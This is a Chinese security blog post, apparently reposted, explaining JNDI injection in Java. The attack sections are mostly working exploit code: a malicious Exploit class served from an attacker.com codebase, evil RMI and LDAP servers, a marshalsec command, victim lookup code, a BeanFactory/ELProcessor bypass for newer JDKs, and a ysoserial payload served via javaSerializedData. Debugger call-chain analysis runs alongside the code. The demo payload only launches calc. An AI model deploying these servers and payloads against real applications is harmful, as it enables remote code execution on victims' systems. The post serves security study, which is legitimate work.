浅谈JDNI注入

admin 2025年5月8日16:59:23评论1 views字数 12541阅读41分48秒阅读模式

JDNI简介:

JNDI (Java Naming and Directory Interface) 是一个应用程序设计的 API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。

JNDI 支持的服务主要有以下几种:

RMI (JAVA远程方法调用)

LDAP (轻量级目录访问协议)

CORBA (公共对象请求代理体系结构)

DNS (域名服务)

前三种都支持远程对象调用

概念解析

Name

Name很好理解,就是命名。将Java对象以某个名称的形式绑定(binding)到一个容器环境(Context)中,以后调用容器环境(Context)的查找(lookup)方法又可以查找出某个名称所绑定的Java对象。简单来说,就是把一个Java对象和一个特定的名称关联在一起,方便容器后续使用。

Directory

JNDI中的目录(Directory)是指将一个对象的所有属性信息保存到一个容器环境中。JNDI的目录(Directory)原理与JNDI的命名(Naming)原理非常相似,主要的区别在于目录容器环境中保存的是对象的属性信息而不是对象本身。举个例子,Name的作用是在容器环境中绑定一个Person对象,而Directory的作用是在容器环境中保存这个Person对象的属性,比如说age=10name=小明等等。实际上,二者往往是结合在一起使用的

JNDI 可以存储和查找以下几类对象:

1. Java 对象(Serializable)

可以保存 Java 对象,只要它实现了 Serializable 接口。常用于配置或共享对象。

ctx.bind("myObj", myObject); // 绑定对象
MyObject obj = (MyObject) ctx.lookup("myObj"); // 查找对象

2. 数据源(DataSource)

常见于 Web 项目,JNDI 查找数据库连接池。

DataSource ds = (DataSource) ctx.lookup("jdbc/myDB");

3. EJB、JMS 等远程对象

可以查找企业级组件或消息队列连接。

MyService service = (MyService) ctx.lookup("java:global/myService");

4. 字符串、环境变量

也可以存储简单的字符串或配置项。

ctx.bind("env/username""admin");
String user = (String) ctx.lookup("env/username");

JNDI 就像一个“命名空间的数据库”,你可以存和查:

Java 对象

数据库连接池

远程服务

配置信息

JDNI的实际应用

1.

新建一个Web项目,META-INF目录下新建context.xml文件

<?xml version="1.0" encoding="UTF-8"?>
<Context>
    <Resource name="jndi/person"
              auth="Container"
              type="javax.sql.DataSource"
              username="root"
              password="root"
              driverClassName="com.mysql.jdbc.Driver"
              url="jdbc:mysql://localhost:3306/test"
              maxTotal="8"
              maxIdle="4"/>
</Context>

Context.xml文件中我们可以定义数据库驱动,url、账号密码等关键信息,其中name这个字段的内容为自定义,后面的时候我们会使用到

 2.  在具体的程序中使用配置的数据源

Connection conn=null
PreparedStatement ps = null;
ResultSet rs = null;
try { 
  Context ctx=new InitialContext(); 
  Object datasourceRef=ctx.lookup("java:comp/env/jndi/person"); //引用数据源 
  DataSource ds=(Datasource)datasourceRef; 
  conn=ds.getConnection(); 
  String sql = "select * from person where id = ?";
        ps = conn.prepareStatement(sql);
        ps.setString(1"1");
        rs = ps.executeQuery();
        while(rs.next()){
            System.out.println("person name is "+rs.getString("name"));
        }
  c.close(); 
catch(Exception e) { 
  e.printStackTrace(); 
finally { 
  if(conn!=null) { 
    try { 
      conn.close(); 
    } catch(SQLException e) { } 
  } 
}

参考☞:https://www.jianshu.com/p/1c4c4b5d7acf

注入原理

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

RMI攻击实现

影响版本

JDK <= 8u121

在8u121之后com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 等属性的默认值变为false,就不能再利用了

先看下JNDI—RMI的结合使用

构造一个恶意的Java类:

package org.example;

import java.io.IOException;

public class Exploit {
    public Exploit() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

编译并部署这个类在 HTTP 服务器上,例如:http://attacker.com/Exploit.class

javac Exploit.java
python3 -m http.server 8000  # 或使用 nginx 等

恶意 RMI 注册服务(EvilRmiServer.java)():

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilRmiServer {
    public static void main(String[] argsthrows RemoteException, NamingException, AlreadyBoundException {
        System.setProperty("java.rmi.server.hostname""127.0.0.1"); // 设置主机 IP
        Registry registry = LocateRegistry.createRegistry(1099);  //注册RMI中心
        System.out.println("RMI Registry started on port 1099");

        Reference ref = new Reference("Exploit""Exploit""http://127.0.0.1:8000/Exploit.class"); //设置转发接口
        ReferenceWrapper refObj = new ReferenceWrapper(ref);
        registry.bind("#Object", refObj);  //绑定一个name
        System.out.println("Malicious Reference bound to 'Object'");
    }
}

RMI 注册一个 Reference 对象,指向远程 http://attacker.com/Exploit.class

当客户端 JNDI 查询时,JVM 会加载 Exploit 类 ⇒ 触发静态块代码执行

模拟目标受害者代码(Victim.java):

package org.example;

import javax.naming.Context;
import javax.naming.InitialContext;

public class Victim {
    public static void main(String[] argsthrows Exception {
        String jndiURL = "rmi://127.0.0.1:1099/#Object";  // 指向恶意 RMI 服务
        Context context = new InitialContext();
        context.lookup(jndiURL);  // 触发远程类加载 + 静态代码执行
    }
}

流程分析

有调用了lookup继续跟进,发现var3调用了Lookup而var3是RegistryContext (RegistryContext 是 JNDI 中用于 RMI 协议的上下文实现类) ,所有这个lookup打的是RMI协议下的Lookup这也就是为啥RMI可以打Jndi注入

浅谈JDNI注入
浅谈JDNI注入
浅谈JDNI注入

并实例化了一个引用包装器ReferenceWrapper准备处理远程传递过来的Reference

浅谈JDNI注入

decodeObject是RMI协议的核心逻辑

浅谈JDNI注入

如果 RMI Registry 返回了一个 javax.naming.Reference 对象

JNDI 会调用 NamingManager.getObjectInstance(...) 来根据引用“构造”对象

浅谈JDNI注入

NamingManager.getObjectInstance() 调用链


public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment)
    throws NamingException {

    // 省略若干判断
    Reference ref = (Reference) refInfo;
    String factoryClassName = ref.getFactoryClassName();  // "Exploit"
    String codebase = ref.getFactoryClassLocation();     // e.g. "http://attacker.com/"

    //  默认行为(在旧版本 JDK 中)
    Class<?factoryClass = loadClass(factoryClassName, codebase); // 加载远程类
    ObjectFactory factory = (ObjectFactory) factoryClass.newInstance();
    return factory.getObjectInstance(ref, name, nameCtx, environment);  // 实际生成对象
}
阶段 动作 可被攻击者控制的内容
lookup() 从 RMI Registry 获取远程对象 是:攻击者搭建恶意 RMI Server
decodeObject() 检查对象类型为 Reference 是:攻击者返回 Reference 对象
getObjectInstance() 动态加载 Exploit.class 并调用构造方法 是:攻击者可控 codebase 和 className
Exploit.class 在静态块或构造函数中执行恶意代码 是:攻击者制作恶意 .class 文件
浅谈JDNI注入

客户端调用链:

InitialContext#lookup
GenericURLContext#lookup
RegistryContext#lookup
RegistryContext#decodeObject
NamingManager#getObjectInstance
NamingManager#getObjectFactoryFromReference
*关键实例化类 return (clas != null? (ObjectFactory) clas.newInstance() : null;

LDAP攻击实现

使用marshalsec构建ldap服务,服务端监听:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://127.0.0.1:8000/#Exploit" 1389

开启本地服务

python -m http.server 8000

直接发起请求即可

String jndiURL = "ldap://127.0.0.1:1389/#Object";  // 指向恶意 RMI 服务
Context context = new InitialContext();
context.lookup(jndiURL);  // 触发远程类加载 + 静态代码执行

流程分析

和RMI一致调用多个lookup最后走到var3下的,之后又进入了p_lookup()

浅谈JDNI注入

之后又调用了c_lookup()

浅谈JDNI注入

跟进c_lookup()在里面我们可以看见设置豪的LDAP值

浅谈JDNI注入
属性名 含义
javaClassName 告诉 JNDI 这个对象应该是什么类
javaCodeBase 类的代码来源(一个 HTTP/FTP/RMI 地址)
javaFactory 指定一个类名,用于生成实际对象(JNDI 会加载这个类并调用其工厂方法)

然后调用下面的decodeObject(),其中参数的值就是我们传入的LDAP的值

浅谈JDNI注入
 return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);

由于var1等于url,且传递的JAVA_OBJECT_CLASSES[2] javaNamingReference ,JAVA_OBJECT_CLASSES_LOWER[2] 为 javanamingreference 所以会进入decodeReference(var0, var2) 的逻辑。(JAVA_ATTRIBUTES的索引值在下方,处若我们传入的是序列化数据则会执行if下方的语句进行反序列化(后边高版本绕过会用到留个印象

decodeReference()是一些赋值操作,执行完后回到decodeObject()中,最后decodeObject()执行完之后回到了c_lookup()这里var3此时的值为

浅谈JDNI注入

接着往下走最终调用了DirectoryManagergetObjectInstance而RMI调用的则是NamingManagergetObjectInstance

关键点还是:

return (clas != null? (ObjectFactory) clas.newInstance() : null;

客户端调用链:

InitialContext#lookup
ldapURLContext#lookup
GenericURLContext#lookup
PartialCompositeContext#lookup
ComponentContext#p_lookup
LdapCtx#c_lookup
*高版本绕过的关键Obj#decodeObject
DirectoryManager#getObjectInstance
DirectoryManager#getObjectFactoryFromReference
*实例化关键 return (clas != null? (ObjectFactory) clas.newInstance() : null;

高版本绕过

RMI:

从 JDK 8u191 开始Sun/Oracle 禁用了从远程 URL 加载类的行为,防止 RCE 攻击(如 JNDI 注入)。你现在运行的 Java 应该是这个版本之后的,所以默认:

com.sun.jndi.rmi.object.trustURLCodebase = false

也可以从下面代码看出默认false会导致走入丢出异常而不会真正的加载class进行实例化

浅谈JDNI注入

绕过我们就不走远程拉取工厂类进行实例化了,我们直接利用本地的工厂类进行利用,例如:

BeanFactory

POC:

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilRmiServer {
    public static void main(String[] argsthrows RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null""""true"org.apache.naming.factory.BeanFactory", (String)null);
        resourceRef.add(new StringRefAddr("forceString""Sentiment=eval"));
        resourceRef.add(new StringRefAddr("Sentiment""Runtime.getRuntime().exec("calc")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("Exec", referenceWrapper);
        System.out.println("the Server is bind rmi://127.0.0.1:1099/Exec");
    }
}

分析:

浅谈JDNI注入

调用链:

InitialContext#lookup
GenericURLContext#lookup
RegistryContext#lookup
RegistryContext#decodeObject
NamingManager#getObjectInstance
NamingManager#getObjectFactoryFromReference
BeanFactory#getObjectInstance(本地的加载工厂类)

LDAP:

从 JDK 8u191 开始Sun/Oracle 禁用了从远程 URL 加载类的行为,防止 RCE 攻击(如 JNDI 注入)。你现在运行的 Java 应该是这个版本之后的,所以默认:

com.sun.jndi.rmi.object.trustURLCodebase = false

也可以从下面代码看出默认false会导致走入丢出异常而不会真正的加载class进行实例化,本地 源码直接贴代码吧

// com.sun.jndi.ldap.Obj
static Object decodeObject(Object obj, Attributes attrs) throws NamingException {
    if (obj instanceof Reference) {
        Reference ref = (Reference) obj;
        String codebase = getCodebase(attrs);  // 来自 LDAP 属性 javaCodebase

        // ✅ 检查 trustURLCodebase
        if (codebase != null && !trustURLCodebase()) {
            throw new ConfigurationException(
                "The object factory is untrusted. " +
                "Set the system property 'com.sun.jndi.ldap.object.trustURLCodebase' to 'true'.");
        }

        return NamingManager.getObjectInstance(ref, ...);
    }
    ...
}

刚刚在LDAP分析流程的时候其实发现了字段下有个javaSerializedData

直接对其进行 反序列化 ⇒ 加载为 Java 对象。

这里以打cc1为例,需要Commons-Collections-3.1依赖

java -jar ysoserial.jar CommonsCollections1 "calc" > 1.txt

python起服务端:

python -m http.server 8000
浅谈JDNI注入

POC:

package org.example;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Base64;

public class Ldapserver {
    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://127.0.0.1:7777/#Exec";
        int port = 1099;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.''/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName""Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            //低版本JDK
/*            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());*/

            //高版本JDK
            e.addAttribute("javaSerializedData", Base64.getDecoder().decode("生成的反序列化base64"));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}
浅谈JDNI注入

原文始发于微信公众号(T3Ysec):浅谈JDNI注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月8日16:59:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈JDNI注入https://cn-sec.com/archives/4042474.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息